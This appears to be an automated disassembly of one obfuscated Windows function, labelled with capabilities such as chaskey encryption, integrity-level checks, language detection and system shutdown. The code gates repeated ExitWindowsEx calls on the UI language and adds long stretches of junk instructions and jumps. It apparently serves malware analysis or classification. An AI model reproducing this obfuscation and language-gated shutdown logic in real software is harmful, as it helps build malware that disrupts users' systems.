Function at 0x401000
Capabilities:
Encrypt data using chaskey
Get session integrity level
Identify system language via api
Shutdown system

Disassembly:
sub ecx, edx
call sub.kernel32.dll_GetSystemDefaultUILanguage
xor esi, ecx
xchg edx, ecx
xor esi, edx
sub ecx, esi
cmp eax, 0xfffffef0
jne 0x401089
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
ret
neg edx
xor ecx, 0xe4c9034
call sub.user32.dll_GetClipboardSequenceNumber
xor edx, ebx
add ebx, esi
sub esi, 0xe4eafda
sub ebx, esi
mov edx, esi
sub ecx, esi
xor ebx, ecx
cmp eax, 0xffffff1c
jne 0x40110e
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
ret
add ebx, edx
inc ebx
call sub.user32.dll_GetClipboardSequenceNumber
xor ecx, edx
neg esi
cmp eax, 0xffffff10
jne 0x401194
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
ret
or ebx, edx
call sub.user32.dll_GetClipboardSequenceNumber
bswap esi
sub ebx, edx
sub esi, edx
and edx, ecx
cmp eax, 0xffffff10
jne 0x401204
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.shell32.dll_IsUserAnAdmin
call sub.user32.dll_ExitWindowsEx
call sub.user32.dll_ExitWindowsEx
ret
jmp 0x49441c
sub edx, ebx
add edx, 0xef117ca
add edx, 0xef1cb37
mov edx, ecx
inc ecx
xor edx, 0xef37cb1
add ebx, edx
or esi, ecx
jmp 0x49773a
pop ebx
xchg ecx, edi
or edx, 0x17960792
sub edi, 0x1796a510
xor ecx, esi
sub edi, 0x1797eeea
jmp 0x4977c0
push 0xf12a006
xchg esi, edx
and esi, edx
and edx, esi
mov edi, 0x17a9c902
ror ecx, 0x1c
rol esi, 0xc
rol esi, 0xa
mov ecx, esi
not esi
bswap edi
sub esi, edx
and ecx, 0x17b5ae8b
sub edx, ecx
or esi, ecx
jmp 0x495ffa
call ebx
xor edx, 0x17c9fa75
neg edx
mov esi, 0x17cb3ce4
inc ecx
mov edx, 0x17cc7239
neg edx
xor edi, esi
and ecx, edi
mov edi, esi
and edi, ecx
or edx, 0x17d024c3
add edi, esi
shr esi, 3
and ecx, edi
jmp 0x497933
pop ebx
sub ecx, edx
and edi, 0x17dddb6f
neg edx
shr ecx, 0x1b
or esi, 0x17dfb12b
add ecx, 0x17e04699
dec edx
inc ecx
sub edx, ecx
xchg edx, esi
xor esi, 0x17e34ccc
mov edi, 0x17e3ee05
or edi, ecx
add esi, ecx
jmp 0x4954d7
call fcn.00494890
rol esi, 0x1b
sub edx, edi
add ecx, esi
xchg edx, edi
or edx, edi
dec edx
or ecx, esi
rol esi, 0x19
rol edi, 0x17
xor edx, esi
and edi, edx
mov esi, ecx
add edx, edi
not edx
inc edx
mov ecx, esi
jmp 0x496e35
mov ebx, 0x2774562b
xchg edi, edx
or ecx, 0x18b14722
add esi, 0x18b1df9d
add esi, edx
sub edi, ecx
bswap edi
xor edx, edi
add edx, 0x18b4f3d7
xchg edx, esi
jmp 0x4949da
pop ebx
add edx, 0x18b65ee0
xchg ecx, edx
bswap ecx
shr esi, 5
rol esi, 0x1c
shl edi, 0x16
sub ecx, 0x18b9e994
and edx, edi
xor ecx, esi
and edx, edi
xor esi, edx
jmp 0x4955b9
pop ebx
sub edx, ecx
xchg esi, edx
ror ecx, 1
sub edx, esi
shl esi, 0xe
neg esi
dec edi
xor esi, 0x18bde44c
xchg edi, edx
jmp 0x4973a1
call fcn.00494890
or edi, esi
sub esi, 0x18d79ab7
or edx, edi
and edx, ecx
shr edx, 0x1f
xchg edi, ecx
mov ecx, 0x18daad64
sub ecx, 0x18db6793
xchg esi, edx
jmp 0x49783c
call fcn.00494890
and edx, ecx
ror edi, 9
bswap edi
add esi, edi
rol ecx, 0x12
xchg ecx, esi
add edx, ecx
xchg edx, edi
add ecx, edx
bswap edx
add esi, edx
xor esi, edx
jmp 0x4972c5
pop ebx
sub esi, edx
add esi, ecx
or edx, edi
add edx, ecx
not ecx
shl edi, 0x10
ror edx, 6
sub edi, 0x18fc74ed
bswap edx
and ecx, edx
bswap esi
xor esi, ecx
or edx, esi
xchg esi, edx
jmp 0x497037
push 0xefecd70
sub edx, edi
and ecx, edi
inc edi
add edx, ecx
sub esi, edi
and esi, edx
add edi, edx
mov edx, esi
shl ecx, 0x11
jmp 0x495c1d
push 0xf2239f4
mov edx, ecx
and esi, 0x197bc4bf
and edi, esi
ror esi, 0x11
sub esi, edx
add edx, ecx
xchg edx, edi
not ecx
bswap ecx
sub ecx, 0x1980f2e5
xor edi, edx
jmp 0x495ab6
push 0xf01ca4d
sub ecx, 0x1987c70f
xor edx, edi
not ecx
inc esi
sub esi, 0x198a127f
add esi, edi
xchg edx, esi
or edi, 0x198c2614
jmp 0x4960fc
call fcn.00494890
or edi, edx
and edx, edi
and edx, 0x198ffd40
xor ecx, edi
and ecx, esi
xchg esi, edx
jmp 0x49577d
mov ebx, 0x3f4d7907
mov edi, edx
shr edx, 0x1c
xchg edx, ecx
xor edi, 0x199c949b
rol esi, 8
dec edx
jmp 0x4960d3
pop ebx
and ecx, 0x19d9464f
xchg esi, ecx
xchg ecx, edx
xor esi, edi
sub ecx, esi
and edi, esi
jmp 0x494463
pop ebx
xor edi, edx
shr ecx, 0x15
add edi, 0x19e2a1ce
xor edi, edx
jmp 0x4954cd
call ebx
mov edx, ecx
ror edi, 0x15
xor edi, ecx
jmp 0x495316
push 0xf1aa36c
xor ecx, esi
sub edi, esi
or edi, edx
jmp 0x49680b
pop ebx
rol esi, 0x1e
dec edx
jmp 0x496457
pop ebx
mov edi, ecx
not esi
or esi, edx
mov ecx, 0x1a20cff5
add esi, 0x1a215efe
mov edi, esi
and edi, esi
jmp 0x494d35
push 0x40
xchg esi, edi
sub edx, edi
xor edi, edx
and edi, ecx
xor edi, ecx
add esi, 0x1a24d91f
or esi, edx
add ecx, edx
shl ecx, 0x12
jmp 0x497dc9
pop ebx
and edi, 0x1a31a462
sub edx, 0x1a3244bb
xor edx, ecx
shl ecx, 0x16
xor edi, 0x1a341141
nop
and esi, edi
xor edx, edi
xchg edx, ecx
dec edx
xchg ecx, edi
jmp fcn.00496244
push 0xf0c9b20
inc ecx
mov edx, edi
xchg edi, edx
shr esi, 0x18
shr ecx, 0x1d
sub esi, edx
or edi, esi
shl edx, 0x1f
jmp 0x496599
pop ebx
shr edx, 0x15
or esi, edi
shr edi, 0x13
jmp 0x4979a1
call fcn.00494890
add esi, 0x1a6ebb92
sub edx, edi
ror edi, 4
add ecx, 0x1a706607
neg esi
add edx, esi
or edx, ecx
ror esi, 2
or edx, 0x1a735995
ror esi, 0x13
xor ecx, esi
add esi, 0x1a7501a4
or edx, ecx
jmp 0x4961a8
pop ebx
xor edi, edx
xchg edi, edx
inc edx
add edi, esi
xchg edx, esi
sub esi, 0x1a7f6925
dec esi
jmp 0x4968bf
call ebx
xchg ecx, edx
xor ecx, 0x1a8fec69
xor edi, ecx
bswap edx
and ecx, esi
and edx, esi
neg edx
or edi, edx
jmp 0x4945ea
call ebx
xor esi, ecx
xchg edx, ecx
sub edx, 0x1a9b968d
add edx, edi
not ecx
jmp 0x49566b
pop ebx
sub edi, 0x1abb082e
sub edx, edi
add ecx, esi
xor esi, edi
xor edi, esi
mov edi, edx
add edx, edi
xchg ecx, edi
rol edx, 7
shl esi, 0xc
mov esi, ecx
sub ecx, 0x1ac1ce7b
or edi, edx
or esi, 0x1ac3045e
xor edx, esi
ror edi, 0xb
jmp 0x4964be
pop ebx
sub ecx, esi
or esi, 0x1ac5c73f
and ecx, 0x1ac664c1
or edx, 0x1ac729cf
add edx, ecx
mov edx, edi
xchg edi, edx
add esi, edx
mov ecx, edi
jmp 0x497bcd
push 0xf216191
and edi, edx
xor esi, edx
bswap ecx
rol ecx, 0xd
sub esi, ecx
ror edx, 7
add edx, 0x1ae68601
mov edx, 0x1ae71994
or edx, edi
mov ecx, esi
or edx, edi
ror edx, 0x15
jmp 0x497634
pop ebx
and edx, esi
xor ecx, edx
xchg esi, edi
mov esi, edx
shr ecx, 0x1d
or esi, edx
not edx
ror edi, 9
mov esi, edx
not esi
add edx, edi
and edi, edx
jmp 0x49556b
pop ebx
mov edi, 0x1affbe43
rol edx, 0x14
sub esi, edx
add esi, edx
or edi, esi
bswap esi
xchg esi, ecx
jmp 0x495ad3
mov ebx, 0x3f4d7907
add edx, ecx
or edi, 0x1b0473d0
shr esi, 5
shl edi, 0xd
shl ecx, 0x1f
jmp 0x496632
push 0xf302706
add edx, 0x1b195ef1
or edx, 0x1b19f60f
or edi, ecx
bswap esi
shr esi, 0xd
sub esi, 0x1b1c6218
shl edx, 4
sub edi, edx
sub ecx, edi
sub ecx, edi
jmp 0x496f7f
mov ebx, 0x3f4d7907
dec ecx
sub esi, ecx
ror ecx, 5
or esi, edx
shr edi, 0x1f
xor edx, 0x1b2c2d51
sub edx, edi
jmp 0x49508d
pop ebx
or esi, edi
or edi, esi
sub edx, ecx
xor edi, 0x1b2de790
not ecx
and ecx, edi
xchg esi, ecx
rol esi, 0x15
shl esi, 9
jmp 0x496a53
mov ebx, 0x2774562b
or edx, ecx
dec edx
sub esi, ecx
or ecx, 0x1b4a0798
sub esi, edx
add edx, 0x1b4b3e0c
mov edx, ecx
jmp 0x4979e8
call ebx
and edi, edx
ror esi, 4
and edi, ecx
or edi, 0x1b57515c
dec edi
and edx, ecx
jmp 0x4976d8
mov ebx, 0x3f4d7907
sub esi, ecx
or esi, 0x1b5f86be
sub edx, edi
ror esi, 0x1f
bswap edx
xor edi, esi
add edi, esi
jmp 0x497f29
push 0xf107572
or edx, 0x1b8d114e
xor esi, edx
mov esi, ecx
sub edi, 0x1b8eed72
mov edx, esi
rol edi, 0x11
neg esi
jmp 0x497e15
pop ebx
mov esi, ecx
and ecx, edi
ror ecx, 0x16
sub edi, ecx
or esi, edx
mov edi, 0x1bd460ab
xchg edx, edi
or edx, 0x1bd5b08e
and edx, edi
neg ecx
add esi, edi
or edi, 0x1bd8126d
jmp 0x4963bb
push 0xf131702
add esi, edi
add esi, edx
or edx, esi
xor edx, ecx
xor edi, esi
add ecx, 0x1c0d4eaa
sub ecx, esi
or esi, 0x1c0e7666
rol edx, 8
jmp 0x496984
push 0xf015673
mov ecx, 0x1c0fd2c7
mov esi, edx
add edx, esi
xchg esi, ecx
add edx, esi
ror edi, 0xe
xor edi, edx
xor edx, ecx
or edi, esi
and edi, ecx
dec edx
jmp 0x49504a
call fcn.00494890
nop
shl edx, 2
mov esi, 0x1c30ae5d
not edx
mov esi, 0x1c31f1ad
bswap esi
add esi, ecx
mov edi, 0x1c33c557
add edx, 0x1c346698
jmp 0x495bda
push 0xf023279
and esi, edi
or edx, esi
add ecx, edi
or esi, 0x1c36f120
add ecx, edi
xchg edx, ecx
xchg edx, esi
not esi
sub ecx, edx
add ecx, edx
jmp 0x496919
pop ebx
mov edi, 0x1c3b9bdc
add edx, ecx
sub ecx, 0x1c3cc1e8
and esi, ecx
sub esi, 0x1c3e0ea6
or esi, edi
or ecx, 0x1c3f3a6b
bswap edi
xchg esi, edx
jmp 0x495ed3
call ebx
sub esi, 0x1c48ab56
shl edi, 0x18
mov esi, edi
rol edi, 0x12
xor ecx, 0x1c4b6f97
or edx, ecx
xor edi, 0x1c4cacab
jmp 0x497114
push esp
xchg edx, esi
or esi, edx
sub edx, esi
xchg edi, edx
sub edi, 0x1c565142
xor edi, esi
and ecx, edx
xchg esi, ecx
and ecx, edi
dec edi
not edi
bswap edx
bswap ecx
jmp 0x49777d
mov ebx, 0x4132136a
shr edi, 0x13
mov ecx, 0x1c68d6af
and edi, esi
sub esi, ecx
sub ecx, edx
add esi, ecx
or ecx, edi
jmp 0x4956b9
call ebx
and esi, edx
and edx, esi
and esi, edx
inc edi
and esi, edi
add ecx, edx
inc ecx
mov esi, edx
mov esi, 0x1c81c83f
or ecx, esi
jmp 0x4952d7
push 0xf1edcba
xor ecx, esi
shl ecx, 0x19
xor ecx, edx
xor edi, edx
and edx, esi
add esi, ecx
xor esi, ecx
xchg edx, edi
add edx, esi
xor ecx, esi
mov edx, esi
jmp 0x497baf
push 0xf20f6cb
mov edx, edi
sub esi, edx
inc esi
rol ecx, 1
or edx, 0x1ca47187
xor edi, esi
shr edi, 0x13
sub edi, ecx
jmp 0x495919
pop ebx
xor edx, 0x1cb791ee
or esi, edx
xor edx, ecx
inc edx
not ecx
mov edx, 0x1cbac6a3
mov esi, edi
add ecx, 0x1cbc256f
and esi, edi
add esi, ecx
sub edi, esi
sub edx, ecx
mov esi, edi
dec edx
jmp 0x4967f1
pop ebx
shr esi, 1
sub ecx, edx
mov esi, ecx
and edi, 0x1cd69492
mov ecx, esi
jmp 0x495d56
pop ebx
bswap edi
or ecx, esi
dec ecx
and esi, edx
xor esi, edx
xchg edi, edx
xor ecx, esi
inc ecx
sub edx, 0x1ceb02ef
and edx, esi
xchg ecx, esi
sub edx, esi
jmp 0x495711
pop ebx
add ecx, edi
or edi, esi
mov edi, esi
xchg edi, edx
xchg esi, edi
sub esi, 0x1d066fc0
and esi, edx
jmp 0x497e4b
push 0xf0d06b6
rol edx, 0x1c
xor ecx, edx
xchg edi, ecx
xor ecx, 0x1d124157
xchg esi, edx
rol edx, 0x13
add edx, 0x1d14186c
and ecx, 0x1d14b14d
mov edx, ecx
add ecx, edi
xor edx, edi
or ecx, esi
mov edi, esi
xor esi, edx
jmp 0x497f02
call fcn.00494890
add edx, esi
and ecx, esi
mov esi, 0x1d2e65ba
sub edx, ecx
sub edx, 0x1d2f985e
mov ecx, 0x1d304c94
add edx, esi
and ecx, edx
or edi, ecx
xor esi, edi
sub edi, 0x1d338699
add ecx, edx
bswap edx
xchg esi, edi
jmp 0x496d92
pop ebx
and edx, esi
mov ecx, esi
xchg edx, ecx
or edx, esi
xor ecx, 0x1d793e5e
add esi, edi
xor esi, edx
jmp 0x496316
push 0xf06dc96
neg esi
or edi, esi
bswap esi
and edi, esi
xor edi, esi
add ecx, edx
add edi, ecx
and esi, 0x1d83692a
xchg edx, ecx
shl esi, 9
or ecx, 0x1d850572
mov edi, edx
jmp 0x49723a
push 0xf173b6c
add edi, esi
shl edi, 8
rol edx, 0xb
rol edi, 0xd
nop
add ecx, edx
bswap ecx
jmp 0x496ffb
push 0xf1b0769
mov esi, ecx
xor edx, 0x1d8b632b
jmp 0x49712b
push 0xf281282
shl ecx, 0x1f
shl ecx, 0xd
or ecx, edx
or edi, esi
shl edx, 7
xor edi, 0x1d987770
xor ecx, edx
jmp 0x49719a
push 0xf066679
xchg edi, edx
xor edi, edx
add edx, ecx
sub edi, ecx
xor edx, esi
sub edx, edi
shr edi, 0xf
jmp 0x4967c6
call ebx
shr edi, 0x16
add esi, edi
mov edi, edx
shr esi, 0x10
mov esi, edi
shr esi, 0xe
or edi, edx
jmp 0x496561
push 0xf0296c6
sub edx, edi
shr esi, 3
mov edx, esi
xchg ecx, edx
xchg edi, edx
add edi, 0x1db58d09
not esi
xor edx, edi
mov esi, ecx
sub esi, edx
jmp 0x4973db
push 0xf138bbf
xchg edi, ecx
mov esi, 0x1dc0ae4f
or esi, edx
jmp 0x497f6d
push 0xf1a39ae
mov esi, edi
xchg esi, ecx
add edi, ecx
mov ecx, edi
mov edi, 0x1ddf9222
jmp 0x4953ca
call fcn.00494890
or edx, ecx
xor edx, edi
nop
jmp 0x4957b2
push 0xf2fb863
ror edx, 0xb
or edi, 0x1e11e105
add esi, ecx
add ecx, esi
mov edx, edi
mov ecx, 0x1e143313
mov esi, 0x1e14cb3c
dec edi
and edx, edi
jmp 0x495a33
pop ebx
and edi, esi
or edx, esi
xor ecx, 0x1e3450af
mov esi, edx
xor esi, ecx
rol ecx, 0x1f
xchg esi, ecx
jmp 0x495840
pop ebx
neg edi
add ecx, esi
jmp 0x4967ae
call ebx
or esi, 0x1e5c065c
sub edx, esi
and edx, ecx
neg edi
jmp 0x497fce
call fcn.00494890
dec edx
inc edx
xor edi, 0x1e695397
and esi, 0x1e69e00b
and edi, edx
add edi, esi
bswap edx
xor edx, edi
jmp 0x496288
call ebx
neg edi
xchg edi, edx
sub ecx, esi
nop
and ecx, edx
jmp 0x4959a0
push 0xf3095ea
sub esi, ecx
and ecx, esi
xchg esi, ecx
add esi, 0x1ea92a7a
jmp 0x497ee7
push 0xf17a7a3
or edi, 0x1eb42dba
and edi, edx
mov edx, esi
mov edx, ecx
shr edi, 0xb
jmp 0x494b91
pop ebx
neg esi
and esi, edi
sub ecx, edi
mov ecx, esi
add esi, edi
or ecx, 0x1ebbb760
jmp 0x497416
pop ebx
xor edi, 0x1ed2e9be
add edi, edx
rol edx, 0x1e
add edx, edi
or edi, ecx
xor edx, edi
jmp 0x497584
push 0xf1b6dda
not edx
xchg edi, edx
sub edi, edx
and edx, ecx
xor edi, esi
neg edi
jmp 0x49790c
push 0xf288146
xchg edx, esi
xchg edx, ecx
xor esi, ecx
add esi, edx
add edx, esi
bswap edx
sub ecx, esi
mov esi, ecx
shr ecx, 0x16
inc edx
neg edx
jmp 0x497d02
mov ebx, 0x3f4d7907
xor ecx, esi
xor ecx, 0x1efd3cd0
nop
xor edx, edi
xor ecx, esi
mov edx, ecx
shr ecx, 0xb
or edx, ecx
jmp 0x496dd9
call ebx
and ecx, edx
neg ecx
xchg edx, ecx
and edx, 0x1f13b4e4
sub edi, esi
mov edx, esi
shl edi, 2
mov esi, edx
or edi, esi
mov ecx, edi
add edx, 0x1f17f492
jmp 0x494be0
call ebx
mov ecx, 0x1f3325cb
xor ecx, 0x1f33d75d
sub edi, edx
mov esi, ecx
add edi, edx
and edi, esi
mov edi, 0x1f372fa5
and esi, edx
jmp 0x496c8e
pop ebx
mov edx, edi
add esi, edi
add edx, ecx
sub ecx, 0x1f3a4c5b
add esi, ecx
ror edx, 0x10
neg esi
inc edi
or edx, esi
or edx, edi
jmp 0x49620d
mov ebx, 0x2774562b
or edi, edx
not ecx
or edx, esi
ror edi, 3
ror edi, 5
xor edi, ecx
and edi, ecx
jmp 0x497fa9
push 0xf25da5a
sub esi, ecx
sub esi, edi
mov edi, ecx
and ecx, edx
shl esi, 2
jmp 0x4959b8
call ebx
xor edx, ecx
and edx, esi
add ecx, 0x1f5e35c9
mov esi, 0x1f5ec24f
and edi, 0x1f5f7880
dec esi
add ecx, edx
mov esi, edi
or edx, edi
not edi
sub ecx, edx
or esi, edx
shr ecx, 0x14
and esi, edi
jmp 0x495875
push 0xf2f4572
or edx, ecx
sub ecx, 0x1f96a645
bswap esi
mov ecx, edi
sub edx, 0x1f98a390
sub edi, 0x1f9959f2
shr ecx, 0x1e
or esi, 0x1f9a9dd5
neg esi
add edi, 0x1f9bd943
xor esi, ecx
bswap edi
jmp 0x496b8e
pop ebx
or edi, ecx
xor esi, ecx
xchg edx, edi
add ecx, esi
xchg ecx, edx
xchg ecx, edx
or ecx, edx
add ecx, 0x1fafaca6
and edx, ecx
jmp 0x496337
push 0xf21cbe4
add ecx, edi
neg esi
sub edx, edi
and edi, 0x1fb30b8c
shr ecx, 0x1b
rol ecx, 0x15
and esi, 0x1fb4f73b
or edi, ecx
ror ecx, 0xc
sub edx, 0x1fb6c998
xchg edx, ecx
jmp 0x494ff7
pop ebx
sub edx, 0x1fce053b
add ecx, esi
sub esi, edx
or edx, edi
and edi, ecx
add ecx, esi
xchg edi, ecx
mov edi, 0x1fd1658b
jmp 0x495945
push 0xefe526b
mov edi, 0x1fdcac7f
shr esi, 0x10
xchg ecx, edi
sub edi, 0x1fde91b1
add ecx, edi
add ecx, edx
and edi, ecx
jmp 0x494edc
pop ebx
or esi, edx
add ecx, esi
sub edi, edx
and esi, ecx
xor ecx, edx
add edi, esi
xor ecx, 0x1fe5264c
and ecx, edi
nop
add edx, edi
inc esi
shr edi, 0xf
mov edi, esi
jmp 0x494bb9
push esp
xor edi, esi
rol edx, 0x12
ror esi, 0xa
sub edx, ecx
mov edx, esi
jmp 0x4954f2
push 0xf0979c8
add ecx, edi
and edx, edi
add edx, esi
add esi, ecx
mov edi, edx
sub edi, ecx
or edx, 0x1ff7a048
add edx, edi
and edi, edx
mov edi, 0x1ff95c0e
xor edi, esi
sub esi, 0x1ffa80dc
add edi, esi
and ecx, 0x1ffb9616
jmp 0x497af1
call ebx
and esi, ecx
and ecx, edi
xor edi, edx
add edx, edi
and ecx, esi
and ecx, 0x200a4f4e
or edx, 0x200b13b6
mov ecx, edi
xor ecx, 0x200c57c5
add edi, ecx
add ecx, esi
shr esi, 0x16
sub edi, edx
jmp 0x497618
mov ebx, 0x3f4d7907
and edx, 0x202c42bd
add esi, 0x202ce713
bswap ecx
and edi, edx
nop
mov edi, 0x202f84ff
dec edi
and esi, edx
neg esi
sub ecx, edi
jmp 0x4979c0
pop ebx
mov edx, 0x2032d48e
shl edi, 5
jmp 0x49611e
push 0xf122ba7
inc edi
or esi, edi
sub ecx, edi
or edi, 0x204ae4e0
mov edi, edx
add edx, 0x204c3cd7
xchg edi, edx
jmp 0x4944d9
call fcn.00494890
bswap edx
or ecx, esi
sub edx, esi
and edx, 0x204f98ff
sub esi, 0x20503f69
sub edx, 0x2050d8d3
or edx, esi
xor edx, ecx
sub ecx, edx
jmp 0x497456
call fcn.00494890
add ecx, esi
mov edx, esi
add edx, edi
mov ecx, 0x2054c144
add ecx, edx
not edx
and edx, ecx
or edi, esi
rol edx, 0x1f
xchg edx, edi
mov edx, edi
add edi, 0x20575941
or ecx, 0x2057c71b
jmp 0x495329
call ebx
add edx, ecx
or ecx, esi
xchg edi, ecx
add esi, ecx
xchg ecx, edx
xor esi, 0x2062e849
jmp 0x49775a
call fcn.00494890
mov edx, ecx
and ecx, 0x206465d0
xchg esi, ecx
not edx
or edx, 0x20667f13
bswap edi
xor ecx, 0x2067b2af
and ecx, 0x20685036
add esi, edi
jmp 0x497a4f
push 0xf09fb18
add edx, edi
sub edx, 0x207efb93
or edx, 0x207f910f
xor edx, ecx
shl edi, 0xb
add esi, edx
or esi, edx
mov edi, edx
sub ecx, edi
xor edx, 0x20837c39
and edx, edi
jmp 0x497f8a
push 0x401400
xor edi, 0x208d146c
sub ecx, edx
xor edx, ecx
xor ecx, esi
dec ecx
not esi
mov edx, edi
xchg ecx, esi
xchg edx, edi
add edi, edx
jmp 0x496165
mov ebx, 0x2774562b
add ecx, edi
dec esi
sub edi, esi
add edi, ecx
add edi, edx
sub edi, edx
and edx, ecx
shr edi, 0x10
bswap edx
and edx, esi
jmp 0x494c85
pop ebx
and esi, edi
shl ecx, 0x11
shl esi, 0xf
sub edi, 0x20a9855f
ror esi, 0xb
shl edx, 8
or esi, edx
and edi, ecx
not ecx
inc esi
xor esi, edx
mov ecx, esi
bswap ecx
not esi
sub esi, ecx
and ecx, esi
jmp 0x496cc2
call fcn.00494890
mov ecx, 0x20bae5c4
rol esi, 0x1f
xchg esi, ecx
not edi
xchg esi, edx
xchg esi, edx
xor edi, 0x20bedb43
and edi, edx
or esi, ecx
sub esi, edi
neg edx
mov ecx, edi
not ecx
add esi, 0x20c35180
ror edx, 4
jmp 0x494578
mov ebx, 0x2774562b
add ecx, edx
or esi, edx
add edi, ecx
sub esi, 0x20e233de
add ecx, esi
add edx, 0x20e38593
and edx, 0x20e43200
jmp 0x494d11
push 0x9301c
xchg ecx, edi
mov edx, 0x2103ccc9
neg ecx
not edx
add edi, edx
sub edx, esi
bswap esi
inc edx
sub esi, 0x210863fa
or ecx, edx
xor edi, esi
and ecx, edi
xor ecx, edx
xor ecx, 0x210b93f5
jmp 0x497b45
mov ebx, 0x2774562b
shl ecx, 0x1d
bswap edi
rol edx, 0x16
mov ecx, edi
sub edx, esi
and ecx, edx
add esi, edx
jmp 0x496a6a
pop ebx
sub edx, edi
and edx, ecx
mov esi, ecx
or ecx, esi
xor esi, 0x211ead2b
shr esi, 0x1e
add esi, edi
inc edi
or edi, edx
xor edx, edi
add ecx, edx
and esi, edx
rol edi, 0x1b
mov esi, ecx
jmp 0x49601f
push 0xf31008a
mov edi, edx
xor edi, edx
xchg edi, esi
shl edx, 6
add edx, 0x213ce7e3
neg ecx
jmp 0x4950f8
push 0xf0d716b
mov edx, 0x213e65b0
mov ecx, edx
or edi, esi
mov edi, ecx
not edi
xor ecx, 0x21418027
xor ecx, edi
mov ecx, 0x2142e0ed
shl esi, 0x1f
jmp 0x495b89
call fcn.00494890
mov ecx, esi
xor esi, ecx
sub ecx, esi
add edx, ecx
jmp 0x4968d8
mov ebx, 0x2774562b
xor edi, esi
nop
mov ecx, edx
or ecx, edx
and edx, edi
sub edi, ecx
sub ecx, edi
xchg edi, ecx
neg ecx
add edx, ecx
jmp 0x497c33
mov ebx, 0x2774562b
shr ecx, 0x1e
or edi, esi
sub esi, edi
add esi, edi
mov ecx, edx
shr edx, 0xf
inc edx
mov edx, edi
and edx, esi
bswap edi
jmp 0x497a66
call fcn.00494890
and edx, esi
sub ecx, edi
not edi
xchg edi, esi
xchg ecx, esi
or edi, ecx
and edx, edi
add ecx, 0x215ca4a8
xchg ecx, edi
mov edi, esi
rol ecx, 0xa
jmp 0x497380
pop ebx
mov ecx, edx
mov edx, esi
xchg ecx, edi
and edi, ecx
inc esi
and edx, ecx
xor edx, ecx
jmp 0x496854